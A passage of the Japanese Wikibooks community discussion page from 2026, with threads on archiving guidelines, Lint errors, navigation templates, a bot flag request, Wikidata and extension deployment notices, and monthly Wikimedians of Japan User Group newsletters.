:現在の[[Wikibooks:過去ログ化のガイドライン|過去ログ化のガイドライン]]の作成された経緯については、こちらの[[特別:固定リンク/101028#過去ログ作業の公式方針を整備すべき|談話室での議論]]をご参照ください。この議論を経て草案ではありますが、いちおうガイドラインとして現状運用されています。なまえみていさんは、現在のガイドラインとは別方式による過去ログ化のガイドラインをお考えのようですので、まずはご自身の利用者ページ下などになまえみていさん式のガイドライン草案を作成されてみてはいかがでしょうか。現行草案と別方式草案の2案を提示した方が、コミュニティの意見も集まりやすくなるのではないかと思います。また、ここ談話室では議論の呼びかけにとどめ、本格的な議論は[[Wikibooks・トーク:過去ログ化のガイドライン|ガイドライン議論ページ]]でした方がよいかと思います。--[[利用者:Shokupan|Shokupan]] ([[利用者・トーク:Shokupan|トーク]]) 2026年3月15日 (日) 23:44 (UTC)

== Wikimedians of Japan User Group 2026-2 ==

'''全体ニュース'''
* ウィキマニア2026の[[:wikimania:2026:Program|プログラム募集]]が3月1日まで行われています。
* [https://diff.wikimedia.org/2026/02/11/announcing-new-policies-related-to-the-use-of-wikimedia-sites-for-advocacy-purposes/ 一部のグローバルポリシー]が変更されました。

'''ESEAPハブからのおしらせ'''[[File:ESEAP logo horizontal.svg|40px|link=:m:ESEAP_Hub/ja]]
* 3月7日17時30分(JST)から[[:m:Event:ESEAP_Community_Call_56_(7_March_2026)|オンラインミーティング]]が行われます。
* [[:m:ESEAP_Conference_2026/ja|ESEAPカンファレンス2026]]の登録が開始されました。

'''Wikimedians of Japan User Groupからのおしらせ'''[[File:Wikimedians of Japan User Group Logoonly.svg|20px|link=:m:Wikimedians_of_Japan_User_Group]]
* 3月1日に[https://peatix.com/event/4847333/view ウィキペディア25周年記念交流会]を開催します。

'''[[:w:ja:メインページ|日本語版ウィキペディア]]'''[[File:Wikipedia-logo-v2.svg|20px|link=:w:ja:]]
* 今月は以下の記事が[[:w:ja:Wikipedia:良質な記事/良質な記事の選考|良質な記事の選考]]を通過しました。
**[[:w:ja:山田美妙|山田美妙]]
**[[:w:ja:スペクトル分類|スペクトル分類]]
**[[:w:ja:横手市|横手市]]
**[[:w:ja:上杉憲方|上杉憲方]]
**[[:w:ja:パノルムスの戦い|パノルムスの戦い]]
**[[:w:ja:都市伝説解体センター|都市伝説解体センター]]
**[[:w:ja:市川少女歌舞伎|市川少女歌舞伎]]
**[[:w:ja:うお座|うお座]]
**[[:w:ja:南アフリカ文学|南アフリカ文学]]
* 今月の1枚
[[File:JRH_Senmo-Main-Line_H100-44.jpg|alt=|thumb|200x200px|オホーツク海沿岸部を走行する[[:w:ja:JR北海道H100形気動車|H100形気動車]]|none]]

'''3月のイベント情報'''
* 3/8 [https://www.facebook.com/events/731133399814596/ WikiGap in Kanagawa 2026]
* 3/21 [[:w:ja:プロジェクト:アウトリーチ/ウィキペディアタウン#近畿|ウィキペディアタウンin網野町木津～駅まちウィキペディア「夕日ヶ浦木津温泉駅」～]]

'''[[:wmfblog:|Diff]]'''
タイトル / 著者；翻訳者 (掲載日) の順で記載しています。
* [https://diff.wikimedia.org/ja/2026/02/01/%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%9a%e3%83%87%e3%82%a3%e3%82%a225%e5%91%a8%e5%b9%b4%e8%a8%98%e5%bf%b5%e3%83%89%e3%82%ad%e3%83%a5%e3%83%a1%e3%83%b3%e3%82%bf%e3%83%aa%e3%83%bc%e3%82%b7%e3%83%aa%e3%83%bc/ ウィキペディア25周年記念ドキュメンタリーシリーズ] / Wadakuramon (2026/02/01)
* [https://diff.wikimedia.org/ja/2026/02/12/lod%e3%83%81%e3%83%a3%e3%83%ac%e3%83%b3%e3%82%b82025%e3%81%a7%e6%97%a5%e6%9c%ac%e3%81%ae%e3%80%8c%e6%b5%b7%e3%81%ae%e9%a7%85%e3%80%8d%e3%82%92%e3%82%aa%e3%83%bc%e3%83%97%e3%83%b3%e3%83%87%e3%83%bc/ LODチャレンジ2025で日本の「海の駅」をオープンデータ化 ― 約200件の海のインフラをWikidataに追加] / Ecute (2026/02/12)
* [https://diff.wikimedia.org/ja/2026/02/25/%e9%96%89%e6%a0%a1%e3%81%99%e3%82%8b%e5%b0%8f%e5%ad%a6%e6%a0%a1%e3%81%ae%e8%a8%98%e9%8c%b2%e3%82%92%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%9a%e3%83%87%e3%82%a3%e3%82%a2%e3%81%ab%e6%ae%8b%e3%81%99/ 閉校する小学校の記録をウィキペディアに残す] / VZP10224 (2026/02/25)
* [https://diff.wikimedia.org/ja/2026/02/25/eseap%e3%83%8f%e3%83%96%e3%82%92%e6%8e%a8%e9%80%b2%e3%81%99%e3%82%8b%e4%ba%ba%e3%80%85/ ESEAPハブを推進する人々] / FelianiESEAP Hub ; Wadakuramon (2026/02/25)

'''前回配信：2025年1月31日'''

&lt;hr style=&quot;border-top: 2px 破線 #7F9AEB; border-bottom: none;&quot;&gt;
配信元： ''[[:m:Wikimedians of Japan User Group|Wikimedians of Japan User Group]]''&lt;br /&gt;
&lt;small&gt;[[:m:Talk:Wikimedians of Japan User Group/メールマガジン|フィードバック]]。[[:m:Wikimedians of Japan User Group/メールマガジン/targets list| 登録・削除]]。&lt;/small&gt;2026年2月28日 (土) 13:14 (UTC)
&lt;hr style=&quot;border-top: 2px 破線 #7F9AEB; border-bottom: none;&quot;&gt;
&lt;!-- User:Chqaz-WMJPUG@metawiki が https://meta.wikimedia.org/w/index.php?title=Wikimedians_of_Japan_User_Group/%E3%83%A1%E3%83%BC%E3%83%AB%E3%83%9E%E3%82%AC%E3%82%B8%E3%83%B3/targets_list&amp;oldid=30083678 のリストを使用して送信したメッセージ --&gt;

== Wikibooks: (ウイキブックス コロン)が現在何種類あるか教えて下さい。 ==

ウイキブックス コロンの全リストのページを教えて下さい。あいうえお順が望ましいです。リンクだけ。

よろしくお願いします。

＞Wikibooks:ウィキブックスへようこそ(参照)

＞新規参加者にとって参考になるページ

＞ページ名に「Wikibooks:」とつくものは、ウィキブックスのプロジェクトそのものに関するページです。その中でも新規参加者にとって役に立つと思われるページをリストしておきます。

11種類以上だと思います。--[[利用者:Tkkn46tkkn46|Tkkn46tkkn46]] ([[利用者・トーク:Tkkn46tkkn46|トーク]]) 2026年3月13日 (金) 03:54 (UTC)

:{{コメント2|コメント}} [[特別:ページ一覧|こちら]]で「名前空間」をWikibooksに指定し、検索すれば全リストが表示されます。
:なお、談話室は本来、これからのWikibooksについて話し合うものですので、個人的な質問は談話室ではなく[[WB:HD|こちら]]にお願いします。--[[利用者:なまえみてい|なまえみてい]] ([[利用者・トーク:なまえみてい|トーク]]) 2026年4月16日 (木) 04:39 (UTC)

== ノートページの呼び方は、全部で何通りあるか教えて下さい。 ==

①ノートの呼び方の種類の数です。違いです。

②「ノート」は　ノートページの意味ですか。

③「議論」は 議論ページと呼びませんか。

よろしくお願いします。

＞Help:ノートページ(wikipedia参照)

＞^ ノートページはトークページ(talk page)とも呼ばれるが、日本語版の「会話ページ」は、名前空間名がそう翻訳されている「利用者についての」トークページのみを指すことがしばしばある。--[[利用者:Tkkn46tkkn46|Tkkn46tkkn46]] ([[利用者・トーク:Tkkn46tkkn46|トーク]]) 2026年3月13日 (金) 03:56 (UTC)

== &lt;span lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;Upcoming deployment of CampaignEvents extension to Wikibooks&lt;/span&gt; ==

&lt;div lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;
&lt;section begin=&quot;message&quot;/&gt;
Hello everyone,

We are writing to inform you that the [[mw:Help:Extension:CampaignEvents|CampaignEvents extension]] will be deployed to all Wikibooks projects during the week of '''23 March 2026'''.
This follows last year’s broader rollout across Wikimedia projects. We realized that Wikibooks was not included at the time, and we’re now addressing that to ensure consistency across all communities.

The CampaignEvents extension provides tools to support event and campaign organization on-wiki, including features like on-wiki event registration and collaboration lists(global event list).

We welcome any questions, feedback, or concerns you may have. We are also happy to support anyone interested in trying out the tools. 
''Apologies if this message is not in your preferred language. If you’re able to help translate it for your community, please feel free to do so.''
&lt;section end=&quot;message&quot;/&gt;
&lt;/div&gt;

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot;&gt;[[User:Udehb-WMF|Udehb-WMF]] ([[User talk:Udehb-WMF|トーク]]) 2026年3月19日 (木) 18:22 (UTC)&lt;/bdi&gt;
&lt;!-- User:Udehb-WMF@metawiki が https://meta.wikimedia.org/w/index.php?title=User:Udehb-WMF/sandbox/MM_target&amp;oldid=30284073 のリストを使用して送信したメッセージ --&gt;

== Bot Flag Request for [[{{ns:User}}:SchlurcherBot]] ==

Appologies for posting in English. Also, I could not locate a dedicated page for bot request in {{#language:{{CONTENTLANGUAGE}}}} {{SITENAME}}, so I am posting here. Please direct me to the correct page if one exists. Thank you.

* '''Bot name''': [[{{ns:User}}:SchlurcherBot]]
* '''Bot operator''': [[commons:User:Schlurcher]]
* '''Bot task''': Automatically convert links from &lt;code&gt;http://&lt;/code&gt; to &lt;code&gt;https://&lt;/code&gt; (secure protocol migration)
* '''Technical details''': Please see [[metawiki:User:SchlurcherBot|meta:User:SchlurcherBot]] for full details, including the expected number of affected URLs on {{#language:{{CONTENTLANGUAGE}}}} {{SITENAME}}.
* '''Bot flags on other projects:''': [[metawiki:Steward_requests/Bot_status/2025-12#Global_bot_status_for_User:SchlurcherBot|Global bot status granted]]. Also flagged on [[:w:en:Wikipedia:Bots/Requests for approval/SchlurcherBot|English Wikipedia]], [[:w:de:Wikipedia:Bots/Anträge_auf_Botflag/Archiv/2025#2025-02-14_–_SchlurcherBot|German Wikipedia]], [[:w:fr:Wikipédia:Bot/Statut/Archive_12#(Traité)_SchlurcherBot|French Wikipedia]], [[:w:it:Wikipedia:Bot/Autorizzazioni/Archivio/2025#SchlurcherBot|Italian Wikipedia]], [[:w:pl:Wikipedia:Boty/Zgłoszenia/2025#Wikipedysta:SchlurcherBot|Polish Wikipedia]], [[:w:pt:Wikipédia:Robôs/Pedidos_de_aprovação/Arquivo/2025#SchlurcherBot|Portuguese Wikipedia]], and [[commons:Commons:Bots/Requests/SchlurcherBot2|Commons]]. For a full list, see: [[metawiki:Special:CentralAuth/SchlurcherBot|sulutil:SchlurcherBot]]
* '''Comment''': The bot is globally approved and active on the top 10 Wikipedia projects. As this wiki has opted out of the global bot policy, I am requesting permission to perform these link updates on {{#language:{{CONTENTLANGUAGE}}}} {{SITENAME}} as well. Please let me know if a local bot flag can be granted or if you have any questions. Thank you. --[[利用者:Schlurcher|Schlurcher]] ([[利用者・トーク:Schlurcher|トーク]]) 2026年3月26日 (木) 22:21 (UTC)
::{{RFB|対処}} I have done your request.--[[利用者:Tomzo|Tomzo]] ([[利用者・トーク:Tomzo|トーク]]) 2026年3月26日 (木) 23:13 (UTC)
:::Thanks. --[[利用者:Schlurcher|Schlurcher]] ([[利用者・トーク:Schlurcher|トーク]]) 2026年3月27日 (金) 08:39 (UTC)

== Wikimedians of Japan User Group 2026-3 ==

'''全体ニュース'''
* ウィキメディア財団理事会はすべての言語版のウィキニュースを閉鎖することを承認しました。ウィキニュースは5月4日から読み取り専用になります。

'''ESEAPハブからのおしらせ'''[[File:ESEAP logo horizontal.svg|40px|link=:m:ESEAP_Hub/ja]]
* 4月4日16時(JST)から[[:m:Event:ESEAP_Community_Call_57_(4_April_2026)|オンラインミーティング]]が行われます。
* [[:m:ESEAP_Conference_2026/ja|ESEAPカンファレンス2026]]の登録が開始されました。

'''Wikimedians of Japan User Groupからのおしらせ'''[[File:Wikimedians of Japan User Group Logoonly.svg|20px|link=:m:Wikimedians_of_Japan_User_Group]]
* 4月18日に開催される[https://event.ospn.jp/osc2026-kagawa/ OSC香川]に参加します。 

'''[[:w:ja:メインページ|日本語版ウィキペディア]]'''[[File:Wikipedia-logo-v2.svg|20px|link=:w:ja:]]
* 4月17日まで[[:w:ja: Wikipedia:日本・韓国_友好編集月間|日本・韓国 友好編集月間]]が行われています。
* 今月は以下の記事が[[:w:ja:Wikipedia:良質な記事/良質な記事の選考|良質な記事の選考]]を通過しました。
**[[:w:ja:普通自転車の交差点進入禁止|普通自転車の交差点進入禁止]]
**[[:w:ja:京都市の観光|京都市の観光]]
**[[:w:ja:克美茂愛人殺害事件|克美茂愛人殺害事件]]
**[[:w:ja:アフガニスタンの歴史|アフガニスタンの歴史]]
**[[:w:ja:養老山地|養老山地]]
**[[:w:ja:唐津藩|唐津藩]]
**[[:w:ja:京都の歴史|京都の歴史]]
**[[:w:ja:ムウタスィム|ムウタスィム]]
**[[:w:ja:トゥーランガリラ交響曲|トゥーランガリラ交響曲]]
**[[:w:ja:ガリレオ裁判|ガリレオ裁判]]
**[[:w:ja:優しい世界へ|優しい世界へ]]
**[[:w:ja:金属有機構造体|金属有機構造体]]
**[[:w:ja:聖なるタラ|聖なるタラ]]
**[[:w:ja:ギターを弾く女|ギターを弾く女]]
**[[:w:ja:八方尾根のケルン|八方尾根のケルン]]
**[[:w:ja:ひばり号|ひばり号]]
**[[:w:ja:マリモ|マリモ]]
**[[:w:ja:スイスの歴史|スイスの歴史]]
* 今月の1枚
[[File:260110_Kosei-ji_Kyoto_Japan12s3.jpg|alt=|thumb|200x200px|京都市に位置する[[:w:ja:光清寺_(京都市)|光清寺]]の心字庭「心和の庭」 |none]]

'''4月のオフラインイベント情報'''
* 4/19 [https://www.facebook.com/events/1437162964770290 Wikipediaブンガク 吉屋信子 ]

'''前回配信：2025年2月28日'''

&lt;hr style=&quot;border-top: 2px 破線 #7F9AEB; border-bottom: none;&quot;&gt;
配信元： ''[[:m:Wikimedians of Japan User Group|Wikimedians of Japan User Group]]''&lt;br /&gt;
&lt;small&gt;[[:m:Talk:Wikimedians of Japan User Group/メールマガジン|フィードバック]]。[[:m:Wikimedians of Japan User Group/メールマガジン/targets list| 登録・削除]]。&lt;/small&gt;2026年3月31日 (火) 11:00 (UTC)
&lt;hr style=&quot;border-top: 2px 破線 #7F9AEB; border-bottom: none;&quot;&gt;
&lt;!-- User:Chqaz-WMJPUG@metawiki が https://meta.wikimedia.org/w/index.php?title=Wikimedians_of_Japan_User_Group/%E3%83%A1%E3%83%BC%E3%83%AB%E3%83%9E%E3%82%AC%E3%82%B8%E3%83%B3/targets_list&amp;oldid=30083678 のリストを使用して送信したメッセージ --&gt;

== Action Required: Update templates/modules for electoral maps (Migrating from P1846 to P14226) ==

Hello everyone,

This is a notice regarding an ongoing data migration on Wikidata that may affect your election-related templates and Lua modules (such as &lt;code&gt;Module:Itemgroup/list&lt;/code&gt;).

'''The Change:'''&lt;br /&gt;
Currently, many templates pull electoral maps from Wikidata using the property [[:d:Property:P1846|P1846]], combined with the qualifier [[:d:Property:P180|P180]]: [[:d:Q19571328|Q19571328]]. 

We are migrating this data (across roughly 4,000 items) to a newly created, dedicated property: '''[[:d:Property:P14226|P14226]]'''.

'''What You Need To Do:'''&lt;br /&gt;
To ensure your templates and infoboxes do not break or lose their maps, please update your local code to fetch data from [[:d:Property:P14226|P14226]] instead of the old [[:d:Property:P1846|P1846]] + [[:d:Property:P180|P180]] structure. A [[m:Wikidata/Property Migration: P1846 to P14226/List|list of pages]] was generated using Wikimedia Global Search.

'''Deadline:'''&lt;br /&gt;
We are temporarily retaining the old data on [[:d:Property:P1846|P1846]] to allow for a smooth transition. However, to complete the data cleanup on Wikidata, the old [[:d:Property:P1846|P1846]] statements will be removed after '''May 1, 2026'''. Please update your modules and templates before this date to prevent any disruption to your wiki's election articles.

Let us know if you have any questions or need assistance with the query logic. Thank you for your help! [[User:ZI Jony|ZI Jony]] using [[利用者:MediaWiki message delivery|MediaWiki message delivery]] ([[利用者・トーク:MediaWiki message delivery|トーク]]) 2026年4月3日 (金) 17:11 (UTC)
&lt;!-- User:ZI Jony@metawiki が https://meta.wikimedia.org/w/index.php?title=Distribution_list/Non-Technical_Village_Pumps_distribution_list&amp;oldid=29941252 のリストを使用して送信したメッセージ --&gt;

== 「Lintエラーが生じる件について」 の対応について教えて下さい。 ==

＞...このLintエラーは「優先度 高」になっていて、...

私は、機械的?な話である事を理解しました。(別件コメント:私的?には、ガイドラインの「本ガイドラインの有効性（そもそも論）」の方が「優先度 もっと高?」のような気がしました。別件コメント無視して下さい。)

＞...修正する必要があると考えます。... ＞...対応はおろか、...＞...実害がないので...

○○法第1章 :　の各行バックスラッシュ 1個を削除するだけではないカモ。

①idが、目次ページの他に、条文ページ(判例を含む)もありました。

②アンカー?第○章、第○条の漢字文字タイトル改正関係なしに、数字の便利さ使用もありカモ
 でした。←←←
③新規の目次ページ編集者は大変だろうな。感覚でした。

④[[Wikibooks:ウィキプロジェクト 法学 コンメンタール執筆ガイドライン/目次ページ]]

　[[Wikibooks:ウィキプロジェクト 法学 コンメンタール執筆ガイドライン/条文ページ]]

　の2種類はどうなりますか。

&lt;nowiki&gt;==&lt;span id=&quot;1&quot;/&gt;第1章 総則 (第1条～第5条)==&lt;/nowiki&gt;

&lt;nowiki&gt;:&lt;/nowiki&gt;&lt;nowiki&gt;[[○○法第1条|第1条]]&lt;/nowiki&gt;(目的)==

...

⑤間違っている事をガイドラインに載せるのは、望ましくない。

フッターに影響するのは困る。

普通に他と同様に?ガイドラインのダブルスタンダードそのままで、←←←トリプル可???

閲覧操作に違いがなければイイナです。私の理解です。

⑥リンター?の操作は、何がいいですか。wikibooksの標準機能にありますか。手作業?見てからです。

⑦wikipedia他はどのようにしていますか。放ったらかし?

https://ja.wikipedia.org/wiki/%E7%89%B9%E5%88%A5:LintErrors/self-closed-tag

自己終了タグ (561 件のエラー)

＞...より質の高い教科書作りに...(ガイドライン議論より)

＞...「提案に従う義務はありません。」と記載していながら、...(〃)

＞...返信もありません（編集活動は続けられています）...(〃)

＞...彼(私?)の問いかけは論理的なものではないと考えます。...(利用者・トーク:Tomzo#お願いより)

と言われませんように。--[[利用者:Tkkn46tkkn46|Tkkn46tkkn46]] ([[利用者・トーク:Tkkn46tkkn46|トーク]]) 2026年4月6日 (月) 13:46 (UTC)

== Lint エラーの自己終了タグ (3,295 件のエラー)以外。他のエラー多数について、皆さんは、どのように考えておられますか。 ==

[[Wikibooks・トーク:ウィキプロジェクト 法学 コンメンタール執筆ガイドライン#Lintエラーが生じる件について]]　の続き。

談話室にしました。下に続けるのも?です。

①他のエラー多数の扱い。

②リンターは、自動的に編集してくれますか。抽出だけですか。

③リンターに、自作定義オプションを追加できますか。それを編集してくれるとうれしい。

④おすすめのリンターを教えて下さい。AIでもいけそうな気もしました。エラー全部のLLM?

＞...彼の問いかけは論理的なものではないと考えます。...(利用者・トーク:Tomzo#お願いより)

と言われませんように。--[[利用者:Tkkn46tkkn46|Tkkn46tkkn46]] ([[利用者・トーク:Tkkn46tkkn46|トーク]]) 2026年4月6日 (月) 13:49 (UTC)

:{{コメント2|コメント}} 私たちの議論をご覧になっての質問ということで、ご回答致します。
:# 他のエラーも同様に修正するのが理想です。ただ、我々の能力的な問題があったり、量があったりでそのままにされているだけです。
:# 質問の意図が汲めなかったのですが、問題の箇所を修正すれば自動的にLintエラーのページからは表示されなくなります。
:# おそらく、我々は大元の設定はいじれないかと思います。
:# おすすめのLintエラーの意味がわかりません。ウィキペディアではBotが良く使われますが、同じエラーでもケースバイケースなのでLintエラーに対してはあまり使われていない印象です。結局、現時点では人間の判断が必要です。
:質問に対する答えになってるでしょうか？--[[利用者:なまえみてい|なまえみてい]] ([[利用者・トーク:なまえみてい|トーク]]) 2026年4月16日 (木) 04:33 (UTC)

==  アイコン?テンプレート?を探しています。英語でも。このページ「○○○」は、まだ書きかけです。出来上がるまでマッテ。 ==

他、例えば、

・このページ「○○○」は、まだ書きかけです。出来上がるまで余計な事言うな。

・このページ「○○○」は、まだ書きかけです。出来上がるまでコメントするな。

・このページ「○○○」は、まだ書きかけです。△△△日まで余計な事言うな。過ぎればOK。

・このページ「○○○」は、コメントされても、返信しません。

(参考例)　以下は、ただちにコメントOKの例。

[[トランプ#関連項目]]を転写。

このページ「○○○○」は、まだ書きかけです。加筆・訂正など、協力いただける皆様の編集を心からお待ちしております。また、ご意見などがありましたら、お気軽にトークページへどうぞ。--[[利用者:Tkkn46tkkn46|Tkkn46tkkn46]] ([[利用者・トーク:Tkkn46tkkn46|トーク]]) 2026年4月11日 (土) 12:59 (UTC)

==  スタイルマニュアル の ナビゲーションをつける について4点教えて下さい。 ==

[[Wikibooks:スタイルマニュアル#ナビゲーションをつける]]

①＞このうち、1（テンプレート:Pathnav）を使用して下さい。

上記があるので、2、3を&lt;nowiki&gt;&lt;del&gt;&lt;/del&gt;&lt;/nowiki&gt;にして下さい。

②＞&lt;nowiki&gt;{{[[テンプレート:Pathnav|Pathnav]]|メインページ|親項目|子項目}}&lt;/nowiki&gt;

　＞最上位ページは「メインページ」にすること（英語の使用の回避）

メインページ　が必要ですか。1行目のアイコンと同じに見えます。

③できれば、pathnav行を　削除したい。表示の重複。

例

[[トランプ]] &lt;nowiki&gt;{{Pathnav|メインページ|ゲーム|frame=1}}&lt;/nowiki&gt;

[[数学]]　&lt;nowiki&gt;{{Pathnav|メインページ|frame=1|small=1}}&lt;/nowiki&gt;

ゲームの場合、ゲームはイラナイのか。ナントカナルです。

④法文は、次行をどうして使わなかったのですか。フッタを使っているのですか。

&lt;nowiki&gt;top:[[本のタイトル]] / previous:[[前のページ]] - up:[[章タイトル]] - next:[[次のページ]]&lt;/nowiki&gt;--[[利用者:Tkkn46tkkn46|Tkkn46tkkn46]] ([[利用者・トーク:Tkkn46tkkn46|トーク]]) 2026年4月14日 (火) 13:30 (UTC)

== カテゴリー内。最新記事の日付を表示できますか。自動更新。ついでに、全記事の最終更新日もです。 ==

記事内に自動更新 日付の事例を探しています。

①(現在)トランプ記事の総数は、...以下の 76 ページを表示しています。

[[カテゴリ:トランプ#カテゴリ: “トランプ”]]

②次行、わかりやすいです。(ちょっと年表示が気になったけど、年表示しないのがステキ。曜日も。新型手動)

[[利用者:AkiR27User#※作成・編集ページ]]※4/15時点

前行、wikibooksが自動的に、表示してほしい。

4/15(水)時点のトランプ記事の総数は、...以下の 76 ページを表示しています。(カテゴリー内)

↑↑↑

??? wikibooksの言い分。そのくらい、人間が投稿履歴を見て、判断できるだろ。情報は提供している。手動。

??? カテゴリー内でマジックワードが使えますか。

(参考) [[w:Help:マジックワード]]--[[利用者:Tkkn46tkkn46|Tkkn46tkkn46]] ([[利用者・トーク:Tkkn46tkkn46|トーク]]) 2026年4月15日 (水) 03:15 (UTC)

== Request for comment (global AI policy) ==

&lt;bdi lang=&quot;en&quot; dir=&quot;ltr&quot; class=&quot;mw-content-ltr&quot;&gt;
Apologies for writing in English. {{int:Please-translate}}
A [[:m:Requests for comment/Artificial intelligence policy|request for comment]] is currently being held to decide on a global AI policy. {{int:Feedback-thanks-title}}
[[利用者:MediaWiki message delivery|MediaWiki message delivery]] ([[利用者・トーク:MediaWiki message delivery|トーク]]) 2026年4月26日 (日) 00:57 (UTC)
&lt;/bdi&gt;
&lt;!-- User:Codename Noreste@metawiki が https://meta.wikimedia.org/w/index.php?title=Distribution_list/Global_message_delivery&amp;oldid=30424282 のリストを使用して送信したメッセージ --&gt;

== Wikimedians of Japan User Group 2026-4 ==

'''全体ニュース'''
* ユニバーサル行動規範調整委員会委員(U4C)の立候補は5月11日21時(JST)までです。
* 5月18日から6月1日21時までU4C委員の投票が行われます。 
* ウィキメディア財団理事会はすべての言語版のウィキニュースを閉鎖することを承認しました。ウィキニュースは5月4日から読み取り専用になります。

'''ESEAPハブからのおしらせ'''[[File:ESEAP logo horizontal.svg|40px|link=:m:ESEAP_Hub/ja]]
* 5月3日15時(JST)から[[:m:Event:ESEAP_Community_Call_58_(3_May_2026)|オンラインミーティング]]が行われます。
* 5月15日から17日まで台湾で[[:m:ESEAP_Conference_2026/ja|ESEAPカンファレンス2026]]が開催されます。

'''Wikimedians of Japan User Groupからのおしらせ'''[[File:Wikimedians of Japan User Group Logoonly.svg|20px|link=:m:Wikimedians_of_Japan_User_Group]]
* 5月23日に開催される[https://event.ospn.jp/osc2026-nagoya/ OSC名古屋]に参加します。 

'''[[:w:ja:メインページ|日本語版ウィキペディア]]'''[[File:Wikipedia-logo-v2.svg|20px|link=:w:ja:]]
* 今月は以下の記事が[[:w:ja:Wikipedia:良質な記事/良質な記事の選考|良質な記事の選考]]を通過しました。
**[[:w:ja:オシダ科|オシダ科]]
**[[:w:ja:美濃電気軌道セミボ510形電車|美濃電気軌道セミボ510形電車]]
**[[:w:ja:シャンブル|シャンブル]]
**[[:w:ja:東山地域 (一関市)|東山地域 (一関市)]]
**[[:w:ja:三方領地替え (1817年)|三方領地替え (1817年)]]
**[[:w:ja:フサイン・ブン・ハムダーン|フサイン・ブン・ハムダーン]]
**[[:w:ja:マリアノ・リベラ|マリアノ・リベラ]]
**[[:w:ja:ナポレオンと田虫|ナポレオンと田虫]]
**[[:w:ja:我が心は石にあらず|我が心は石にあらず]]
**[[:w:ja:フランク・フラゼッタ|フランク・フラゼッタ]]
**[[:w:ja:紀藤真琴|紀藤真琴]]
**[[:w:ja:三ヶ島葭子|三ヶ島葭子]]
**[[:w:ja:平野 (大阪市)|平野 (大阪市)]]
**[[:w:ja:丹沢湖|丹沢湖]]
* 今月の1枚
[[File:Matsumoto-castle-2026-HK.jpg|alt=|thumb|200x200px|ライトアップされた[[:w:ja:光清寺_(京都市)|松本城]] |none]]

'''5月のオフラインイベント情報'''
* 5/10 [[:w:ja:プロジェクト:アウトリーチ/ウィキペディアタウン#2026-05-10_ウィキペディアタウン_in_吉野地区|ウィキペディアタウン in 吉野地区]]
* 5/10 [https://countries-romantic.connpass.com/event/389840/ 花博鶴見緑地で学ぶ 地図とWikipediaの編集体験]

'''[[:wmfblog:|Diff]]'''

タイトル / 著者；翻訳者 (掲載日) の順で記載しています。
* [https://diff.wikimedia.org/ja/2026/03/02/%e3%82%a6%e3%82%af%e3%83%a9%e3%82%a4%e3%83%8a%e3%81%ae%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%a1%e3%83%87%e3%82%a3%e3%82%a2%e3%83%b3%e3%81%af%e3%81%93%e3%81%ae%e5%9b%b0%e9%9b%a3%e3%81%aa%e5%86%ac%e3%82%92/ ウクライナのウィキメディアンはこの困難な冬をどう過ごしているか―4人の物語] / Anton Protsiuk ; Wadakuramon (2026/03/02)
* [https://diff.wikimedia.org/ja/2026/03/04/%e6%9d%b1%e4%ba%ac%e3%81%a7%e3%81%ae%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%9a%e3%83%87%e3%82%a3%e3%82%a225%e5%91%a8%e5%b9%b4%e8%a8%98%e5%bf%b5%e4%ba%a4%e6%b5%81%e4%bc%9a%e3%81%af%e5%a4%a7%e7%9b%9b%e6%b3%81/ 東京でのウィキペディア25周年記念交流会は大盛況でした] / Wadakuramon (2026/03/04)
* [https://diff.wikimedia.org/ja/2026/03/10/%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%a1%e3%83%87%e3%82%a3%e3%82%a2%e6%8f%90%e6%90%ba%e5%9b%a3%e4%bd%93%e3%81%ae%e5%b0%86%e6%9d%a5%e5%83%8f%e3%82%92%e6%8f%90%e6%a1%88/ ウィキメディア提携団体の将来像を提案] / Kaarel ; Omotecho (2026/03/10)
* [https://diff.wikimedia.org/ja/2026/03/11/%e3%82%a6%e3%82%a3%e3%82%ad%e7%a5%9d%e3%81%84%ef%bc%9a%e3%83%a1%e3%83%ab%e3%83%b4%e3%82%a1%e3%83%83%e3%83%88%ef%bc%8d%e7%9f%a5%e8%ad%98%e3%80%81%e3%82%b3%e3%83%9f%e3%83%a5%e3%83%8b%e3%83%86%e3%82%a3/ ウィキ祝い：メルヴァット－知識、コミュニティ、信頼を築いた10年] / Jan Beránek (WMF), Natalia Szafran-Kozakowska ; Wadakuramon (2026/03/11)
* [https://diff.wikimedia.org/ja/2026/03/16/%e3%82%a4%e3%83%99%e3%83%b3%e3%83%88%e4%b8%80%e8%a6%a7%e3%81%ae%e7%a7%bb%e5%8b%95%e6%83%85%e5%a0%b1%ef%bc%9adiff%e3%81%ae%e3%82%a4%e3%83%99%e3%83%b3%e3%83%88%e3%82%ab%e3%83%ac%e3%83%b3%e3%83%80/ イベント一覧の移動情報：Diffのイベントカレンダーはメタ・ウィキに移りました] / Chris Koerner ; Wadakuramon (2026/03/16)
* [https://diff.wikimedia.org/ja/2026/03/16/%e8%91%ac%e5%84%80%e3%81%a7%e5%ad%a6%e3%82%93%e3%81%a0%e3%80%81%e3%82%a6%e3%82%a3%e3%82%ad%e3%83%9a%e3%83%87%e3%82%a3%e3%82%a2%e3%81%a8%e3%83%9c%e3%83%aa%e3%83%93%e3%82%a2%e3%81%a8%e6%97%a5%e6%9c%ac/ 葬儀で学んだ、ウィキペディアとボリビアと日本のこと：知識と愛情の物語] / Carlillasa ; Wadakuramon (2026/03/16)
* [https://diff.wikimedia.org/ja/2026/04/02/wikidata%e3%83%af%e3%83%bc%e3%82%af%e3%82%b7%e3%83%a7%e3%83%83%e3%83%9720260327%ef%bc%a0%e7%ad%91%e6%b3%a2%e5%a4%a7%e5%ad%a6%e6%9d%b1%e4%ba%ac%e3%82%ad%e3%83%a3%e3%83%b3%e3%83%91%e3%82%b9/ Wikidataワークショップ20260327＠筑波大学東京キャンパス] / Eugene Ormandy (2026/04/02)
* [https://diff.wikimedia.org/ja/2026/04/04/%e4%ba%ba%e5%b7%a5%e7%9f%a5%e8%83%bd%e5%ad%a6%e4%bc%9a%e7%ac%ac68%e5%9b%9eswo%e7%a0%94%e7%a9%b6%e4%bc%9a%e3%81%ab%e7%99%bb%e5%a0%b4%e3%81%97%e3%81%9fwikimedia%e3%81%ae%e8%a9%b1/ 人工知能学会第68回SWO研究会に登場したWikimediaの話] / Eugene Ormandy (2026/04/04)
